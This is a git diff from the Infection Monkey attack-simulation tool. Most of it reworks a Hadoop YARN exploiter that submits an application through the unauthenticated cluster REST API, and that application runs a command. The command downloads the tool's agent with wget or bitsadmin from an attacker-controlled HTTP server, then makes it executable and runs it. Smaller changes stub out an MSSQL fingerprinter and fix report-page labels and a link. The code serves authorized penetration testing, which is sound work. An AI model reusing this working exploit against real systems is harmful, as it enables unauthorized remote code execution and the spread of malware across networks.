diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py
index 3490a3129..805f0f602 100644
--- a/infection_monkey/exploit/hadoop.py
+++ b/infection_monkey/exploit/hadoop.py
@@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE
 from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
 import posixpath
 from threading import Lock
-from model import DROPPER_ARG
+from model import DROPPER_ARG, DOWNLOAD_TIMEOUT
 
 __author__ = 'VakarisZ'
 
@@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__)
 
 class HadoopExploiter(WebRCE):
     _TARGET_OS_TYPE = ['linux', 'windows']
-    HADOOP_PORTS = ["8088"]
-    LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \
-                    "&& chmod +x %(monkey_path)s " \
+    # TODO add more hadoop ports
+    HADOOP_PORTS = [["8088", False]]
+
+    # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
+    # to download monkey at the same time
+    LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
+                    "&& wget -O %(monkey_path)s %(http_path)s " \
+                    "; chmod +x %(monkey_path)s " \
                     "&&  %(monkey_path)s %(monkey_type)s %(parameters)s"
     WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \
                       "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
-
     LOCK = Lock()
 
     def __init__(self, host):
@@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE):
         if not src_path:
             LOG.info("Can't find suitable monkey executable for host %r", self.host)
             return False
-        # Determine which destination path to use
+        # Determine where to save monkey on the target
         LOG.debug("Monkey path found")
         path = WebRCE.get_monkey_dest_path(self._config, src_path)
-        # Build command to execute
-        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
-        if 'linux' in self.host.os['type']:
-            command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path,
-                                            "monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
-        else:
-            command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path,
-                                              "monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
-        if not path:
-            return False
         # To avoid race conditions we pass a locked lock to http servers thread
         self.LOCK.acquire()
         # Create server for http download and wait for it's startup.
         http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK)
         self.LOCK.acquire()
-        self.exploit(url, command)
+
+        # Build command to execute
+        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
+        if 'linux' in self.host.os['type']:
+            command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path,
+                                            "monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
+        else:
+            command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path,
+                                              "monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
+        # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" %  {"monkey_path": path, "http_path": http_path}
+        if not path:
+            return False
+
+        if not self.exploit(url, command):
+            return False
+        self.LOCK.release()
+        http_thread.join(DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+        return True
 
     def exploit(self, url, command):
         # Get the newly created application id
@@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE):
             "application-type": "YARN"
         }
         resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
+        if resp.status_code == 202:
+            return True
+        else:
+            return False
 
     def try_exploit(self, url):
         # Get the newly created application id
-        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+        try:
+            resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+        except requests.ConnectionError:
+            return False
         if resp.status_code == 200:
             return True
         else:
diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py
index 9409c2255..ea4370d24 100644
--- a/infection_monkey/network/mssql_fingerprint.py
+++ b/infection_monkey/network/mssql_fingerprint.py
@@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger):
                 Discovered server information written to the Host info struct.
                 True if success, False otherwise.
         """
-
+        # TODO remove auto-return
+        return False
         assert isinstance(host, VictimHost)
 
         # Create a UDP socket and sets a timeout
diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 198cf021c..cd417d47a 100644
--- a/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
                     <li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
                       href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
                       CVE-2017-10271</a>)</li> : null }
-                  {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
+                  {this.state.report.overview.issues[this.Issue.HADOOP] ?
                     <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
                 </ul>
               </div>
@@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent {
   generateHadoopIssue(issue) {
     return (
       <li>
-        Run Hadoop in secure mode(<a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
+        Run Hadoop in secure mode(<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
         add Kerberos authentication</a>).
         <CollapsibleWellComponent>
           Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span